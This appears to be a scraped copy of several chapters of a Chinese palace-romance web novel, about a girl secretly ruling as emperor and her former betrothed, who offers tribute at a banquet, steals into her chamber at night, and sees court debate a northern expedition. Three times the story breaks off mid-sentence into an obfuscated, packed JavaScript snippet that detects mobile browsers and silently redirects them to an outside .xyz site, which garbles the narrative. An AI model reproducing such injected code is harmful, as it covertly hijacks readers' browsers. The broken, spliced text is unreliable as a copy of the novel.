开宴之后,伶人献上歌舞,为众人助兴。一开始众人尚显拘谨,随着酒入肠腑,气氛渐渐活泛起来,群臣你来我往,把盏言欢。 宋海晏今日大出风头,有不少人与他把盏相敬。宋海晏来者不拒,很快与众人熟络起来。他显然很习惯这种场合,各处走动,与人推杯换盏,好不兴怀。 萧含光端坐于高台之上。她一边欣赏歌舞,一边吃些点心。她已竭力控制自己的眼睛不要往宋海晏那边看,然此人走来走去,俨然场中焦点,几次险些撞到跳舞的伶人,想不注意到他都难。 萧含光苦笑,她从前怎么不知道他是这样的性子。好在,他似乎忘了曾经将她“错认”成长乐公主的事,一眼都没有往这边瞧。 酒过三巡,众人都有些醺然。 按照流程,这会萧含光可以退席,群臣亦可自行离去或继续欢饮。她正吩咐黄门郎准备起身,中书令魏膺之忽然走到御座前,跪伏在地,高声道:“陛下,臣有事启奏。” 萧含光敛容道:“魏卿请讲。” 魏膺之抬起头,恭敬道:“臣闻陛下前些时日龙体欠安,心中甚是挂怀。不知陛下如今圣躬可大安否?” 萧含光端坐御座之上,冕旒珠帘微微晃动。她语气沉稳,缓缓答道:“朕前些日子偶感风寒,幸得太皇太后悉心照料,如今已无大碍。魏卿挂念,朕心甚慰。” 魏膺之闻言,神色稍缓,但仍未起身,继续道:“陛下乃万金之躯,一举一动关乎国本。臣斗胆再问,不知陛下何日恢复朝议,以安百官之心?” 萧含光知道魏膺之今日必会问及朝议之事,答道:“朕既已康复,自当以国事为重。明日便恢复朝议,魏卿可传谕百官,准时入朝。” 魏膺之心中欣然。他此前屡次上奏,请求恢复朝议,皆被驳回。今日御前试探,本未抱太大期望,却不料皇帝亲口应允明日恢复朝议。只要朝议一开,太皇太后便难以独揽大权。他暗自感慨,宋海晏提出的献俘仪式,竟真解了他的燃眉之急。 想起宋海晏的另一件请托,魏膺之俯身再拜道:“陛下,臣还有一事启奏。庐江刺史宋寒章虽未亲至金陵,却命其子宋海晏携三件重礼,欲亲献御前,以表宋家对朝廷的赤诚之心。” 萧含光闻言,微微一怔。按照原先定下的流程,并无晚宴献礼一项。她不由得用眼角余光向下方的齐韶瞥去,眼中带着几分询问之意。 齐韶听闻魏膺之之言,亦是眉头微蹙,心中暗忖此事蹊跷。然而,在文武百官面前,皇帝断无拒绝受献的道理,否则不仅宋家颜面尽失,这场献俘仪式的效果也将大打折扣。他微微点了点头。 萧含光会意,颔首道:“准。” 礼官高声唱道:“请小宋将军上前,向陛下亲献。” 场中歌舞的伶人退去,魏膺之退回自己的座位上。文武百官皆放下手中的杯盏,视线一起落在宋海晏身上。 宋海晏从席间起身,三位内侍各自捧着一只漆盒,跟在他的身后,向御台走去。 宋海晏行至御台之上,他双膝跪地,叩首道:“臣宋海晏,奉家父之命,向陛下献礼。”他从内侍手中取过第一只漆盒,双手高举过头,声音清朗:“第一件礼物,白玉璧一对。” 黄门郎取过漆盒,放在御案上。萧含光打开盒盖,一对白玉璧静静躺在锦缎之上,玉质温润如凝脂,璧面雕刻着祥云纹样。 玉器自古为礼器之首,《周礼》有云:“以玉作六器,以礼天地四方。”诸侯献玉璧于国君,乃表敬奉臣服之意。宋家今日献上白玉璧,正是向新帝昭示,庐江宋氏对朝廷之忠贞,绝不会因婚事之变故而有所动摇。 宋海晏又取过第二只漆盒,双手奉献,道:“第二件礼物,是从北魏大将拓跋兴身上得来的佩刀——大夏龙雀。臣父以为,此刀当献于陛下,以示陛下武功,威服宇内。” 此言一出,下方群臣发出一片啧然赞叹声。 大夏龙雀并非凡刀,其源流大有来历。百年之前,匈奴的一代雄主赫连勃勃以骁勇善战闻名,他一度征服北方,建立大夏国。之后,命工匠铸造象征王权的宝刀大夏龙雀,以彰显其皇图霸业。 大夏国后来灭于北魏之手,这柄名刀也成了北魏宫中御藏之物,没想到竟然在淮南战场上被宋家所得,进献御前,其中寓意更是非凡,就连一直正襟危坐的齐韶都眉目一动。 萧含光虽并不知这柄宝刀的故事,但观诸臣反应,也知道此刀必定非凡。 她打开漆盒,拿起大夏龙雀宝刀,抚摸刀身上的铭文,赞叹道:“爱卿父子武功赫赫,对朝廷忠贞不贰,朕心甚慰。” 这时,宋海晏又取过第三只漆盒。这只漆盒比之前的两只小得很多,他将之托在手上,朗声道:“这三件礼物是我淮南特产,是一道美食。臣不单献于陛下,今日在座,人人有份。” 另外一边,魏膺之轻轻击掌,有宫人鱼贯而入,托着无数同样大小的漆盒入内,将之一一奉在诸大臣的肴席上。 宋海晏道:“我淮南一带盛产麋鹿,若将肉炙熟,制成肉脯,再裹以蜂蜜,美味非常。海晏特地带来,献于今日宴会上,请大家一起品尝。” 他亲自打开漆盒,取出里面盛于白瓷碟中的肉脯,双手献上,低头道:“请陛下先尝——” 萧含光视线落在那白瓷碟上,看向那出产于淮南的“土特产”——那并非什么鹿脯,而是一道素食。宋海晏曾称它为素鹿炙,乃是豆粉、竹荪还有蜂蜜制成,外表和烤鹿肉一模一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在那一刻,宋海晏抬起头,向她看了过来。 萧含光浑身冰冷,身体几乎忘了动作。她脑子嗡嗡的,全身叫嚣着一个声音,“完了,他知道了。” 她犹记得婚礼那日,他在御街前的胡闹,不管内侍如何解释,他就是不信,只一直大喊着:“你就是阿幸——” 如果他今日在大庭广众、众目睽睽之下将这句话再次喊出来,足以置她于万劫不复之境。 她目眩耳鸣,看到宋海晏张嘴好像说了些什么,却一个字都没有听清。 不知过了多久——也许只是一刹那,也许是漫长的静默和等待。她脑中的轰鸣声终于停下。她听到黄门郎的提醒声:“陛下,陛下,陛下……小宋将军还等着您回话呢。” 萧含光心中茫茫然。 回话? 她该回什么话? 他刚才说了什么话? 她看向御台之下,大臣们依然同之前一样,有的交头接耳,讨论“肉脯”的独特风味和可能的制作方法,有的自顾自饮酒,根本没有人注意到她将肉脯吐出来这件事。 也对,她将肉脯吃下,这一场表演就结束了。御台那么高,皇帝吃了肉脯又吐了出来,根本无人在意。 她的视线重新落在宋海晏身上。 宋海晏低着头,将刚才说过的话又说了一遍:“臣……有罪,不知陛下脾胃虚弱,进不得冷食,请陛下进热汤,恕臣今日不敬之罪。” 萧含光这才发现宋海晏手中不知什么时候托举着一盏热茶,似乎端了很久,以至于他双手微微颤抖。 萧含光接过热茶,见宋海晏缓缓抬起头来,与她对视。 她今日终于再一次看到了他的眼睛,那双眼含着盈盈泪水,朝她望来。 她从未想过会再见他的眼泪。 宋海晏从不愿意流泪,甚至因此拒绝药师庵的治疗。 他说:“我宋海晏是顶天立地的男儿,流血不流泪,就算死也没什么可怕的,我在战场上被一箭射中膝盖,残了一条腿也没掉过一滴眼泪。要是早知道你们药师庵治病是这种治法,我死也不会来——” 他死也不愿流泪。 可她今日就这样直白地看到了他的泪眼。 她心中酸涩难言,抬起袖子掩住面容,可猝不及防的泪滴已滚落茶盏之中。 她举盏一饮而下,再次品尝到了来自自己身体深处的苦涩味道。 也仿佛再次听到静仪师太那仿若命定的谶言。 世间有情,悉皆是苦。 她放下茶盏时,宋海晏已经再次低下头去。 他顿首再拜,轻声道:“臣愿陛下福泽绵长,国祚永昌。” 29. 第十一章 夜入禁闱 献礼毕后,萧含光命百官自便,起驾回宫。 御辇并未返回正光殿,而是停在了太皇太后居住的椒房殿前。她下辇时,见齐韶已立于殿门处等候。他一身玄色官袍,眉目沉静,见她走近,微微躬身行礼,低声道:“陛下,太皇太后已在殿内等候。” 萧含光点了点头,与他并肩步入殿内。 太皇太后齐明霜高坐于凤座之上,手中握着一串佛珠,指尖轻轻拨动。见萧含光入内,她脸上浮现几分欣慰之色,温声道:“皇帝今日在百官面前应对得体,哀家心中甚是宽慰。” 她顿了顿,脸上浮现几分神采,继续道:“今日宋家献俘,又献玉璧与大夏龙雀宝刀,朝廷上下,人心一振。陛下明日朝议时,可顺势提及北伐之事,让各部官员早作准备。” 萧含光闻言,眼中闪过一丝迟疑,轻声道:“这样……是不是太早了?” 太皇太后手中佛珠一顿,抬眼向她看来,语气沉缓却不容置疑:“当年晋室失去北方之地,起因在于八王之乱。朝堂之事,最难之处在于人心难聚。如今趁此大胜,朝中凝起一股志气,正是聚集人心、推进北伐的良机。若等这股气散了,再想北伐,便难了。” 萧含光垂下眼帘,低声应道:“是。” 太皇太后目光微转,又问道:“对了,今晚宋家子御前亲献,他可曾察觉你的身份有异?” 萧含光立时不安起来。她的身份隐秘,除齐韶外,只有太皇太后身边极信任的女官和內监知晓,太皇太后绝不会乐意听到宋海晏已经识破她身份的事。 她稳住呼吸,抬眸看向太皇太后,语气平缓:“回禀太皇太后,宋海晏今日献礼时十分恭顺,一直低着头,并无异样。想必他那日见到长乐公主的遗体后,已接受了公主已死的现实,不会再因此生事。” 太皇太后未置可否,目光转向今日随侍在侧的黄门郎夏从德,淡淡道:“是这样吗?” 夏从德连忙跪伏在地,答道:“正是。小宋将军今日席间并未往御台上看,进献之时也一直低着头,并无丝毫逾矩之处。” 太皇太后微微颔首,手中佛珠再次缓缓拨动。她似漫不经心地问道:“哀家还听说,宋家子最后献上一道鹿肉,皇帝吃了又吐了出来。怎么,那鹿肉不合胃口吗?” 萧含光心中一紧,面上却不露声色,轻声道:“朕不惯生冷之食,是以觉得难以下咽。” 太皇太后侧首,看向侍立一旁的齐韶,问道:“宋家子所献之食,果真是鹿脯吗?” 齐韶神色从容,上前一步,躬身答道:“回太皇太后,微臣已试过,确实是鹿脯无误。只是风味独特,或许是宋家以秘方所制。春夜寒冷,陛下不耐寒食,太皇太后不必过虑。” 太皇太后眉梢微挑,眼中仍带着几分犹疑,指尖轻轻敲击凤座扶手,沉吟道:“既无特殊之处,宋家为何不提前说定,反而临时在晚宴上提出加献之事?” 齐韶神色不变,语气平稳:“宴后臣已问过鸿胪寺负责此事的官员。据称,鹿脯本应昨日下午才由快马从庐江送来金陵,结果驿马延误未到,小宋将军昨日未能提前禀报。直至晚宴前鹿脯送到,才向鸿胪寺提出献礼一事。” 太皇太后闻言,眉间舒展,似终于放下心来,她轻叹一声,“今日累了一天,你们也乏了,早些回去休息吧。” 萧含光与齐韶齐声应道:“是。”随后躬身退出椒房殿。 殿外,夜色沉沉,宫灯在风中摇曳,投下斑驳的光影。萧含光与齐韶并肩而行,却无人开口。行至御辇前,齐韶停下脚步,微微侧身,躬身行礼道:“陛下,臣告退。” 萧含光点了点头,目送他转身离去。 她心中明白,若非齐韶最后圆话,以太皇太后之多疑,断不会轻易相信。然而,她不知齐韶是否看出了什么,更不敢开口询问,只得压下心中疑虑,命宫人转道回正光殿。 太极殿内,晚宴已进尾声,满席杯盘狼藉,残羹冷炙散落案几,酒香与食物的余味混杂在空气中。大臣们大多数都已经离开,宋海晏酩酊大醉,脚步踉跄,犹抱着酒壶不撒手。 裴光献扶着他,两人颠颠倒倒离开太极殿,宋海晏兀自嘟哝着:“裴大人,来,再与我共饮一杯——” 裴光献平日好酒,今日朝中大宴,不好过于放浪形骸,反而收敛很多。此时虽也有些醉意,但尚存几分清醒。他叹了口气,低声劝道:“小宋将军,宴席已散了,我们该出宫了。” 宋海晏眯着眼,脸上泛着酒后的红晕,闻言只是含糊地“哦”了一声,身子却不由自主地往裴光献身上倒去。裴光献被他压得一个踉跄,勉强稳住身形,扶着他往宫门方向走去。 行至半途,宋海晏忽然停下脚步,问道:“裴大人,不知溷轩何在?” 裴光献这时迷迷糊糊,已然不辨东西南北。正巧这时,一名内侍从旁经过,裴光献认出他是今日席上见过的内侍周群,连忙招手唤道:“周内官,小宋将军醉了,要寻溷轩,劳烦领路。” 今日宴会,宫中内侍大多在太极殿伺候,这周群也是其中之一。他自然识得这是今日席上大出风头的宋海晏,连忙道:“小宋将军请跟我来。” 他领着宋海晏到了溷轩处,让宋海晏自己进去,自己则在门外等候。等了偌久,方见宋海晏踉踉跄跄出来,连忙上前搀住。 宋海晏身材高大,醉后身体甚重,周群勉强将他搀扶到道旁,去寻裴光献时,已不知人到哪里去了。再看宋海晏,竟已睡了过去,整个人如一座小山般压在他身上。 此刻已近子时,群臣都已出宫,周群四顾茫茫,竟连一个人都看不到。 “小宋将军,小宋将军……”他连唤几声,只听得宋海晏鼾声如雷,一点反应也没有。 他心中无奈,只得咬牙搀扶着宋海晏,一步步往附近的一处殿宇挪去。 到了殿前,周群推开殿门。殿内昏暗,只有几缕月光透过窗棂洒在地上。他眯了眯眼,借着微光看到内殿有一张矮塌,便拖着宋海晏上前,想将他暂时安置在矮塌上。 不知是不是他动作太大,宿醉的人睁开了眼睛,迷迷糊糊问道:“这里……是哪儿?” 周群喘了口气,擦了擦额间的热汗,答道:“这里是东宫的属殿,自陛下登基后,这东宫就空置着。小宋大人醉了,今日怕出不得宫,就在此将就一夜吧。” 宋海晏“嗯”了一声,眼皮又缓缓合上,似乎又要睡去。 周群见状,心中松了一口气。他好不容易将宋海晏拖到这里,早已累得筋疲力尽,此刻只想赶紧回自己的住处歇息。他低声说道:“小宋将军明日酒醒,自行出宫便是,下官先告退了。” “等等。”塌上的人睁开眼睛,坐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一身內监服饰,一路上无人探问,很快就到了正光殿附近。 夜色沉沉,一枚上弦月挂在檐角螭吻上,漆黑的宫殿像一头蛰伏的巨兽,仿佛要择人而噬。殿前,几位手持长戟的羽林军守卫大门,神情肃穆。 宋海晏悄然走到殿旁一棵大树下,背靠树干,屏息凝神。他将手放在唇下,发出几道低沉的鸮鸣声,声音在寂静的夜空中回荡。 正光殿前,羽林军们正在往来巡逻。虽然陛下尚未回宫,但宫中防卫不可松懈。他们勉力打起精神,忽然听到远处传来一声鸮鸣,不由得停下脚步,面面相觑。 宫中素来没有鸮鸟,这一声显得极为诡异。领头的守卫皱了皱眉,低声道:“你们听到了吗?” 另一人点头,神色有些不安:“这声音……不太对劲。” 话音未落,鸮鸣声再次响起,这一次更长,断断续续的,像婴儿夜哭,又像疯子的诡笑,在这寂静的夜里显得格外瘆人。 领班的守卫终究站不住了,挥了挥手,点了一半人手:“你们几个,去那边看看,别是有人捣鬼。” 宋海晏远远瞧见羽林军朝这边来,嘴角微微上扬。他迅速绕到正光殿后,趁着守卫松懈,寻了个空当,扒开一扇虚掩的窗,身形一闪,悄无声息地翻了进去。 30. 第十二章 长夜相依 萧含光回到正光殿,楚秋筠和白令瑶两人服侍她睡下。 她身份特殊,正光殿伺候的宫女太监并不多,且只在外殿活动,只有楚秋筠白令瑶两人在东西两侧配殿居住服侍。忙碌了一整天,两位女官很快沉沉睡去。 萧含光在床上翻来覆去,怎么也睡不着。她一闭上眼,宋海晏那双含泪的眼就凝现在眼前,仿若无声的控诉,问她为何背约。她越是控制自己不去回忆今日的事,那双泪眼越是清晰。 萧含光努力了好一会,口干舌燥,喉咙像是被火烧过一般。她不愿叫醒刚睡下不久的楚秋筠和白令瑶,从床上坐起,自己来倒水喝。 她走到桌边,正要伸手去拿茶壶,忽然察觉到一股异样的气息。她抬起头,发现窗边不知何时立了一人。 那人身形高大,背光而立,穿着內监的服饰,面容隐在夜色的阴影中,唯有一双眼睛在黑暗中闪烁着微光。萧含光一惊,正要大叫时,一只手伸过来,紧紧捂住她的嘴唇。 “别喊——” 听到宋海晏熟悉的声音,萧含光浑身一震。 他怎么会出现在她的寝宫?他是怎么进来的?他来这里干什么? 宋海晏见她已认出他来,将捂着嘴唇的手松开。 萧含光努力稳住自己的呼吸,让自己的心绪平静下来。 她想起之前椒房殿的那番对谈,如果太皇太后知道宋海晏已经认出她,还试图夜闯宫闱与她私会,后果不堪设想,她应该设法让他尽快离开。 想到这里,她的声音多了几分泠然,摆出这些天慢慢养出的帝王威严,低声呵斥道:“宋海晏,你夜入朕的寝宫,所为何事?” 宋海晏直愣愣地看着她——自他出现伊始,他的目光一刻也没有离开过她,那炙热的目光似乎要将她的每一寸肌肤都灼燃。 他的声音极轻,像春夜的露珠滚过草叶:“我的阿幸不见了,我来这里找她。” 萧含光几欲流泪。 但此刻绝不能显露出软弱,她若与宋海晏夹缠不清,他就更不肯走了。她板起脸孔,冷声道:“朕妹福薄,不能与卿相配,朕亦甚是心痛。但人死不能复生,还请宋公子节哀。以卿才德,何愁淑女,卿自行婚娶便是。今夜之事,朕也不欲追究,你怎么进来,就怎么出去——” 宋海晏闻言,明显愣了一下。 他忽地撩起衣袍,在她面前跪下,就像此前君臣奏对一般。“长乐公主是臣的妻子,陛下既然说长乐公主已经死了,便请将她的遗体交还给臣,让臣带回庐江安葬——” 萧含光斥道:“皇妹已经入土为安,这不可能——” 宋海晏脸上露出一缕恣意的笑容来:“那臣便退一步。按照婚仪,男女成婚之时,需各取头上一根头发,合成一结,谓之结发。公主夭亡,未能与臣成礼。臣请陛下赐下长乐公主头发一缕,以成此礼。” 萧含光见他油盐不进、执拗如斯,心中又急又怒,“宋海晏,我刚才说了,长乐公主已死,遗体已经入葬。” 宋海晏目光上移,落在她的满头乌发上。 他眸中情绪如翻滚不息的暗潮,那声音极轻,也极坚定:“陛下,您知道臣下要的是什么。您今日不给我,我是不会离开的——” 萧含光怒道:“宋海晏,你好大胆——” 她万想不到宋海晏如此大胆。夤夜潜入禁闱,竟是为了找她要头发,以成结发之礼。 宋海晏跪着的身体板正笔直,脸上依然笑着:“陛下,臣一向就是如此胆大妄为。臣这般私闯宫闱,本就是死罪。如果陛下不肯见赐,那便请陛下唤出禁卫,将臣拿下典刑,臣绝不反抗。” 萧含光气极:“你……你……”她浑身颤抖,几乎说不出话来。 宋海晏笑容越发肆意起来:“陛下不敢喊人吗?我敢——”他提气欲呼:“来……” 可他才吐出一个字,嘴唇便被萧含光死死捂住。 他本是跪姿,重心不稳,萧含光情急之下伸手去捂他的嘴,力道未加控制,整个人便顺势向前倾去。 宋海晏被她一推,身体向后仰倒,后背重重撞在地板上,发出一声闷响。萧含光来不及收势,整个人也随之扑倒,跌在他的胸膛上。 两人的身体紧紧贴在一起,萧含光的手还按在他的唇上,掌心能清晰地感受到他粗重的鼻息,以及他胸膛处剧烈的起伏。 她的脸颊贴在他的颈侧,耳畔传来他急促的心跳声,扑通扑通,像是擂鼓一般,震得她耳膜发颤。 她感到宋海晏伸出双手,将她箍在怀里,他抱得那么紧,仿佛要将她整个人融入他身体之中,与她融为一体。她的心脏也随之颤栗起来,有无数极细微的电流从心脏涌出,流入四肢百骸,仿若魂悸魄动,一刹之间,竟不知今夕何夕,不知自己是谁,又身在何处,只想就此偎依着,直到天地老去、洪荒不存。 偏偏此时,门外传来一道声音,“陛下,奴婢刚才好像听到有声音。陛下无恙吗?” 那是女官楚秋筠的声音。 萧含光身体一僵,眼睛骤然睁大,如同惊醒。她急忙稳住心神,缓声答道:“没事,朕夜间口渴,起来倒水喝。” 楚秋筠又问道:“陛下,可要奴婢进来伺候?” 萧含光道:“不用,朕喝完水,已经歇下了。你自去罢。” “是。” 殿外传来脚步声,不久之后再无回响。 两人紧紧相拥,直到身体深处的悸动缓缓平息下来。 春夜寒凉,皇宫的地板是用大理石铺就,冷如凝冰。之前,两人情悸意动,不觉寒冷,时间一久,萧含光觉得寒气上浮,手脚渐冷,就想拉着宋海晏坐起来。 她身体微微一动,便感到宋海晏又用力将她抱紧,他温热的吐息在耳边呢喃:“阿幸,别动。让我……再抱一会。一会就好……禁庭难入……我怕……我以后再也没机会了……” 萧含光知道他今晚到这里怕是很费了一番功夫,更怕他以后再这般冒险潜入,眼泪不自觉涌下,“阿晏,我哥哥死了。太皇太后非要我继位,我也没有办法……”她低声抽泣:“可是你这样,让我怎么办?你这么胆大妄为,一味胡闹,要是被人发现你私入禁闱,就都完了。阿晏,你告诉我,我该拿你怎么办?” 她滚烫的泪水顺着脸颊留下,落入他的脖颈之间。宋海晏终于耐不住,抱着她坐起来。他用袖子擦去她眼角残泪,低声道:“阿幸,我错了。我从前在药师庵的时候明明给你留了纸条,你还让我另娶,我一时生气,才会瞎说的……” 萧含光想起他说的纸条,是他离开药师庵之前,藏在镔铁箭中,让静仪师太转交给她的。那上面写着“我心匪石”四个字。 后来为了这四个字,为了娶她,他又付出偌大代价。 她想到这里,关切道:“我听陆思明说,你为了婚事挨了父亲的打,受了好重的伤。现在好了吗?”她看向他的胸口,微微犹豫,要不要解开衣服看一下。 察觉到她的目光,宋海晏身体向后一缩,捂住襟口:“一点小伤,我都养好了,你不用担心……” 这番对谈化解了起初剑拔弩张的敌对,也冲淡了方才缱绻绸缪的哀情。 两人如今隔着一个身位的距离,彼此相望,又缄默不言,气氛顿时有些微妙起来。 长夜静寂,让这个时刻显得格外漫长。 宋海晏终究一叹:“阿幸,你打算将来怎么办?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308315|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧含光想了想,道:“太皇太后说,楚国需要一个年长的国君来维持朝政的稳定,好促成北伐之事。” 宋海晏喃喃道:“北伐?” 萧含光道:“收复中原、还都洛阳,这是先帝想做没有做到的事,也是太皇太后的毕生夙愿。”她犹豫了一下,忍不住问道:“阿晏,你,还有你们宋家会支持北伐之事吗?” 宋海晏道:“当然,我宋家镇守淮南,与北魏交战多年。朝廷若有意北伐,收复中原,我宋家愿为前驱。只是……” 他凝视着她:“阿幸,你真的想当这个皇帝吗?”他眼中藏着惊涛骇浪:“如果你不想,我就带你私奔。管它什么北伐不北伐的,我设法带你走,我们一起离开皇宫——” 他顿了一顿,又道:“当然,今晚不行,我需要准备几天。” 听着他的话,萧含光的心跳几乎暂停了一下。 从皇宫私奔。 他是怎么敢想的—— 萧含光眼睛闭了一下。 她想到上次他们逃出药师庵,还没有逃入树林,他就中箭受伤,差点死掉。 皇宫的守卫比药师庵要严密多了,就算他准备再充分,也不可能成功。如果再被发现,太皇太后绝不可能再放过他。 她又想起那天在石头津见到从北地来的那群流民,想到那对受伤的母子,想到齐韶的深深一拜,他说:“若北伐功成,陛下便能救下无数人的性命。不会再有人被掳为奴隶,也不会有人沦为流民。万民人人得以安居,家家能得圆满。这是天下间,最无上的功德。陛下,您的选择将主宰江南江北无数人的命运。微臣荀韶,恳请陛下成为这样的君主。臣将效死,助陛下成为真正的天下之主。” 她深深吸了一口气,轻声道:“阿晏,一开始,我确实不愿意当皇帝。可是我的哥哥死了,我愿意承担起他未尽的责任。如果北伐功成,这也是功在千秋的事情,我愿意为之尽一份心力。” 夜色更沉了。 窗外的上弦月已彻底落了下去,殿内没有一丝光。她眼前像蒙住一层轻纱,纵使两人隔得很近,她也辨不清他的眉目。 过了许久,她听到他低沉的声音:“阿幸如果这么想,我也会和家里联系,尽力促成北伐之事。”他顿了一下,又道:“沙场杀敌,建功立业,结束如此乱世,万姓得享太平,这也是男儿分所应当之事,我也会尽一分力。” “将来北伐功成,朝廷还都洛阳,不需要你坐在帝位上,我再来带你走。”他向前一步,跪坐在她身前,从她的鬓角轻轻拔下一根头发,又拔下一根自己的头发,将两根头发缠在一起,珍之重之放入随身的香袋之中,道:“婚礼虽然不成,但你我今日结发,也是一样。我可以多等几年,只望阿幸你勿忘今日之约……” 他侧头看过来的时候,在这无星无月的暗室中,萧含光从他眼中看到了世间最明亮的光。 她循着那缕光,攀上了爱人的肩膀,任他将她抱紧,与她绸缪,与她偎依。 她静静伏在少年厚实的肩膀上,听着彼此匀称相合的呼吸声,感觉四周静了下来。那并不是没有声音的寂静,而是世间万法都被消弭的空静。 她忘了哀愁,不生忧怖,甚至感觉不到自我的存在,只能感到自己一颗心安放在这阎浮世间最安宁之处。她不问来路,也不求归途,只求眼前这一刹那,无有尽头。 然,再漫长的夜也终有破晓之刻。 微光透过窗棂,东天将白。 宋海晏起身之时,发觉萧含光竟这样靠着他睡着了。他最后凝望一眼少女静谧的容颜,吻了她的额头,将她安置在床榻上。 他掀开窗户,如一只敏捷的野豹,消失在夜色深处。 31. 第十三章 梨花空冢 二月初九日。 太极殿,百官入朝。 这是从元日朝会之后的第一场大朝,文武百官一早便在正光殿站好位次,等待新帝到来。 昨日宴饮,不少人归家很晚,早上又匆匆起身,脸上犹带着浓浓的倦色,一边打着哈欠,一边与同僚们招呼交谈。 闻听内侍吊着嗓子一声高喊:“皇上驾到——” 文武百官一起跪下三呼万岁,行拜君之礼。 萧含光步履端方,在御座之上落座,道:“诸位爱卿平身。” 一个多月过去,萧含光已经渐渐习惯皇帝的身份,不再露怯。她抬起双眼,视线缓缓在满殿大臣身上扫视而过,朗声道:“诸卿有何事启奏?” 近日朝中实无大事,今日新帝第一次上朝,诸臣也不想用些腌臜小事扫了皇帝的兴致,特意寻了些祥庆的事来说。 太史令上官岱出班奏道:“启禀陛下,太史台前夜观天象,见景星现于东南。臣闻,惟天不言,以象示人。德君临朝之时,上苍便降下祥瑞之兆。今景星明,庆云现,此乃国之佳兆也。” 《史记》有载:“景星者,德星也,其状无常,出于有道之国。”若景星出,则昭示着君王有德。 群臣当然不愿错过这个在新帝前露脸的机会,纷纷上前,将“至治馨香,感于神明,黍稷非馨,明德惟馨”之类的谀辞拿出来奉承一番。 萧含光一一听毕,缓声道:“上天既降下如此瑞兆,朕虽德薄,但愿与诸卿共勉,惟德惟明,以安万民。” 百官闻言,纷纷点头,朝堂之上响起一片赞颂之声。 之后,是中书令魏膺之出班启奏,言及仲月的“耕藉礼”一事。按照大楚朝廷礼制,皇帝需在仲月亥日率领文武百官,到耕地之中,进行亲耕礼,亲自扶犁耕田,劝农勤耕,以示重视农业。 此为常例,无甚值得讨论之处。只是新帝第一次上朝,这耕藉礼大小也算是个正式议题,众臣议论一番,最终决定于二月二十二日举行耕藉礼。届时由司徒公齐鸿耒耜,中书令魏膺之执鞭,跪进皇帝,由皇帝掌耒三推,太仓令奉青箱,大司农播种,耆老们随之覆土。 此事议罢,朝堂之上一时静谧无声。萧含光目光缓缓扫过下方群臣,又问道:“诸卿还有何事启奏?” 众臣皆缄口不语。今日早朝诸事顺遂,景星现于天际,皇帝又将亲耕劝农,此皆为大楚兴盛之吉兆。众臣昨夜忙碌,未得安寝,此时皆盼着早早退朝,好回府补眠。若有人此时贸然出声,定会遭众人暗自腹诽。 就在众臣眯着眼,满心期待着内监宣布退朝之际,一道清朗之声陡然响起:“臣齐韶有事启奏。” 萧含光颔首道:“准奏。” 齐韶上前一步,踏出朝班,神色庄重肃穆,高声禀道:“陛下,臣有本上奏。近日淮南传来大捷喜讯,北魏大将拓跋兴授首,我大楚将士士气大振,百姓亦欢呼雀跃。此乃天赐良机,臣以为,朝廷正应趁此时机,兴兵北伐,收复中原失地,还都洛阳,以遂先帝未竟之宏志。” 此言一出,朝堂之上原本打瞌睡的大臣们瞬间惊醒,皆面露惊愕之色。 还未等众臣有所反应,御座之上的皇帝已然率先开口:“齐爱卿所言极是。自衣冠南渡,中原沦陷已逾两百余载。我大楚承继正朔,理当兴义师北上,解救中原百姓于水火,不负其殷切期盼。” 萧含光靠于龙椅之上,冷锐目光缓缓扫视下方群臣,声音沉缓有力:“宋家昨日敬献宝刀大夏龙雀,朕昨夜把玩之际,见刀上刻有铭文‘古之利器,吴楚湛卢,大夏龙雀,名冠神都。可以怀远,可以柔迩,如风靡草,威服九区’。如此神兵,竟落于朕手,足见天意眷顾我大楚。朕以为,当下正是乘胜追击、锐意进取之时,众卿意下如何?” 众臣听闻,顿时交头接耳,低声议论纷纷。谁都知道齐韶在此时提出北伐之事,应该是皇帝所授意。 大楚朝廷上一次北伐,还是在十五年之前。彼时先帝刚扫平交州,携大胜之威,挥军北上,却折戟而归。此后先帝年事渐高,又饱受伤痛折磨,便无人再提北伐之事,大楚一直维持着既定疆界。 如今新帝初登大宝,又受昨日宋家献俘、献上大夏龙雀宝刀之事鼓舞,胸怀进取之志,锐意北伐,倒也在情理之中。然而,若要收复中原、还都洛阳,非倾尽举国之力不可。别的暂且不说,单论由谁挂帅领军、兵分几路进军、粮草又从何处调配,皆是棘手难题。 因这些问题,朝堂之上的局势必将发生重大变动,势必会有人因此得势,亦有人因此失势。 新君甫一上朝,便提出此等重大之事,实令众臣措手不及。 但庐江宋氏昨日献俘之举,终究还是激起众人几分意气。金陵虽好,然谁又不想一睹诗书中以华美辞藻赞颂的名都洛阳?再者,大战一起,朝堂格局变动,自己在朝班上的位次或许便有机会向前挪一挪。 众臣目光一同投向朝班最前列的两人,司徒公齐鸿与中书令魏膺之。 如今大楚朝廷乃皇权与世家共治天下,诸多门阀世家中,势力最为强盛者,当属江左齐氏与会稽魏氏。朝廷若欲兴师北伐,首先需得齐鸿与魏膺之的支持。他们这些次一等的世家,大多依附于齐家和魏家,他们只需待此二人率先表态,而后跟随附和即可。 